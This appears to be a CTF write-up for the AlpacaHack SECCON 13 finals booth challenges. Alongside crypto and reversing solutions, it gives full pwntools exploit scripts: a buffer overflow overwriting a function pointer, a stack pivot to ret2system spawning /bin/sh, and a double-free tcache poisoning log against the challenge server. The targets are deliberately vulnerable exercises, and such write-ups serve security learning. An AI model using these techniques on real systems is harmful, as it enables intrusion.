AlpacaHack seccon-13-finals-booth Writeup
Last modified: 04 March 2025https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges
preface
最速で15冠しTシャツをもらいました

Welcome
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/welcome-to-seccon-13-finals-booth
solution
read the description
Long Flag
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/long-flag
solution
use
long_to_bytes
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(35774448546064092714087589436978998345509619953776036875880600864948129648958547184607421789929097085))
cookie
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/cookie
solution
request with cookie:
admin=true
Beginner's Flag Printer
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/beginners-flag-printer
the assembly means
printf("%x",539232261)
https://wiki.osdev.org/System_V_ABI#:~:text=view%3Dmsvc%2D170-,x86%2D64,-This%20is%20a
// solver.js
function findPair() {
for (let exp = 20; exp <= 22; exp++) {
for (let m1 = -9; m1 <= -1; m1++) {
for (let m2 = -9; m2 <= -1; m2++) {
let a = m1 * Math.pow(10, exp);
let b = m2 * Math.pow(10, exp - 1);
if (a < b && parseInt(a) > parseInt(b)) {
return { a, b };
}
}
}
}
return null;
}
const pair = findPair();
if (pair) {
console.log("Found valid pair:");
console.log("a =", pair.a);
console.log("b =", pair.b);
console.log("a.toString() =", pair.a.toString());
console.log("b.toString() =", pair.b.toString());
console.log("parseInt(a) =", parseInt(pair.a));
console.log("parseInt(b) =", parseInt(pair.b));
} else {
console.log("No valid pair found.");
}
trippple
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/trippple
from Crypto.Util.number import long_to_bytes, inverse
n = 272361880253535445317143279209232620259509770172080133049487958853930525983846305005657
c = 69147423377323669983172806367084358432369489877851180970277804462365354019444586165184
e = 65537
def integer_cube_root(n):
lo, hi = 0, n
while lo <= hi:
mid = (lo + hi) // 2
cube = mid * mid * mid
if cube == n:
return mid
elif cube < n:
lo = mid + 1
else:
hi = mid - 1
return hi
p = integer_cube_root(n)
assert p**3 == n, "n is not a perfect cube!"
print(f"Found p: {p}")
phi_n = p * p * (p - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("FLAG:", flag.decode())
danger of buffer overflow
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/danger-of-buffer-overflow
solution
buffer overflow vulnerability
rewrite a function pointer
from pwn import *
import sys
e = ELF("buffer-overflow",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 24310"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
ru(b"address of print_flag func: ")
print_flag = int(rl().strip(),16)
paybyte(b"A"*0x8)
add64(print_flag)
sl(payload)
shell()
play with memory
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/play-with-memory
scanf("%4s", &number);
if (number == 12345) {
print_flag();
}
from pwn import *
import sys
e = ELF("memory",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 57944"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
b *main+86
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
sl(b"\x39\x30\x00\x00")
shell()
42
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/42
from Crypto.Util.number import long_to_bytes
res = [3 ,23 ,2205496470181 ,2219555763769 ,2233425033163 ,2239061295271 ,2259023796727 ,2284404776567 ,2291370145123 ,2416633488457 ,2419508288471 ,2434758174067 ,2500841090549 ,2503738093453 ,2573045476847 ,2680923822481 ,2778916602433 ,2788061078027 ,2796482148853 ,2874516939989 ,3132015040537 ,3139228584347 ,3155640636023 ,3194390562137 ,3284689931333 ,3395646793247 ,3450918694961 ,3542857468897 ,3558548169959 ,3723346041941 ,3734921299007 ,3741754738429 ,3881331302137 ,3955397572079 ,3975840251293 ,4072584462841 ,4130457980197 ,4158189715259 ,4194605058227 ,4207350753019 ,4244137496801 ,4299476105167 ,4327600625807 ,4333485694679 ,64527453873583290390233 ,360296424708927327075211324489217]
flag = 1
for r in res:
if r.bit_length() != 42:
flag *= r
print(long_to_bytes(flag))
FlagPrinter
solution
fix assembly into nasm rule.
BITS 64
global main
extern printf
section .rodata
LC0:
db "Alpaca{%s}", 10, 0
section .text
f:
push rbp
mov rbp, rsp
mov qword [rbp-24], rdi
mov dword [rbp-4], 0
jmp .L2
.L4:
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
cmp al, 64
jle .L3
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
cmp al, 90
jg .L3
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
lea edx, [rax-65]
mov eax, dword [rbp-4]
add eax, 13
add eax, edx
movsx rdx, eax
imul rdx, rdx, 1321528399
shr rdx, 32
sar edx, 3
mov ecx, eax
sar ecx, 31
sub edx, ecx
imul ecx, edx, 26
sub eax, ecx
mov edx, eax
mov eax, edx
lea ecx, [rax+65]
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
.L3:
add dword [rbp-4], 1
.L2:
mov eax, dword [rbp-4]
movsx rdx, eax
mov rax, qword [rbp-24]
add rax, rdx
movzx eax, byte [rax]
test al, al
jne .L4
nop
nop
pop rbp
ret
main:
push rbp
mov rbp, rsp
sub rsp, 16
mov dword [rbp-7], 1197424961
mov dword [rbp-4], 4672071
lea rax, [rbp-7]
mov rdi, rax
call f
lea rax, [rbp-7]
mov rsi, rax
mov rdi, LC0
xor eax, eax
call printf
xor eax, eax
leave
ret
nasm -f elf64 tmp.asm -o challenge.o
Can U Keep A Secret?
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/can-u-keep-a-secret
I checked the disassembly then I noticed that second
rand()
were disappeared.

cache crasher
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/cache-crasher
solution
double free -> type confusion
[~] >>>nc 34.170.146.252 45969
address of print_flag: 0x40222e
address of funcptr: 0x405150
opcode(0: alloc, 1: free): 0
data(integer): 0
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> 0x4051a0 -> ...
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a0)
opcode(0: alloc, 1: free): 0
data(integer): 4215120
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x405150
Buffer:
buf[0]: 0x4051a0 (val: 0x405150)
opcode(0: alloc, 1: free): 0
data(integer): 4203054
content of funcptr: 0x4022a2
Cache:
0x405150
Buffer:
buf[0]: 0x4051a0 (val: 0x40222e)
opcode(0: alloc, 1: free): 0
data(integer): 4203054
content of funcptr: 0x40222e
Alpaca{***REDACTED***}
opcode(0: alloc, 1: free): ^C
Slow Flag Printer
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/slow-flag-printer
solution
reverse...reverse...
#include <iostream>
#include <vector>
#include <cstdlib>
#include <chrono>
#include <thread>
#include <string>
using namespace std;
using namespace std::chrono;
int main() {
srand(0xDEADBEEF);
string secretStr = "@msgmsm\021\021\027Xb\177\061z\f~~Qv\025RzvuZy\002w\025kNH[4H\r^\026\020PP\345\367\377\177";
const int vecSize = 42;
vector<char> vec(vecSize);
for (int i = 0; i < vecSize; i++) {
vec[i] = secretStr[i % secretStr.size()];
}
cout << "flag: " << flush;
auto prevTime = system_clock::now();
long long v14 = 1;
for (int i = 0; i < vecSize; ++i) {
int sleepSeconds = rand() % v14 + 1;
long long elapsedMillis = static_cast<long long>(sleepSeconds) * 1000;
int mask = ((elapsedMillis + 100) / 1000) % 128;
char outChar = vec[i] ^ mask;
cout << outChar << flush;
v14 *= 2;
prevTime += seconds(sleepSeconds);
}
cout << endl;
return 0;
}
Alpaca Wakekko
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/alpaca-wakekko
solution
buffer overflow vulnerability
stack pivot into writable section -> ret2system
from pwn import *
import sys
e = ELF("challenge",checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False)
nc = "nc 34.170.146.252 18911"
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
dbg = 1
g_script = """
set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
shell = lambda : io.interactive()
payload = b""
def pay64(adr:int):global payload;payload = p64(adr)
def add64(adr:int):global payload;payload+= p64(adr)
def paybyte(data:bytes):global payload;payload = data
def addbyte(data:bytes):global payload;payload+= data
writable = 0x0000000000404a00
alpaca = 0x0402004
paybyte(b"alpaca")
payload = payload.ljust(0x18,b"\0")
add64(alpaca)
add64(alpaca)
add64(writable)
add64(writable)
#add64(e.plt["system"])
add64(0x4012da) #gets() @ wakekko
sl(payload)
paybyte(b"/bin/sh\0")
payload = payload.ljust(0x18,b"\0")
add64(writable-0x30)
add64(writable-0x30)
add64(writable-0x40)
add64(writable-0x40)
add64(0x0401315) #system() @ wakekko
sl(payload)
print(r())
shell()
Concurrent Flag Printer
https://alpacahack.com/ctfs/seccon-13-finals-booth/challenges/concurrent-flag-printer
rust😢
4 threads launched in this challenge.
4 threads construct the string in parallel, break at
std::thread::Builder::spawn_unchecked::hc4b5f0da48ddb8b5
using gdb with following script.
set mi-async on
set non-stop on
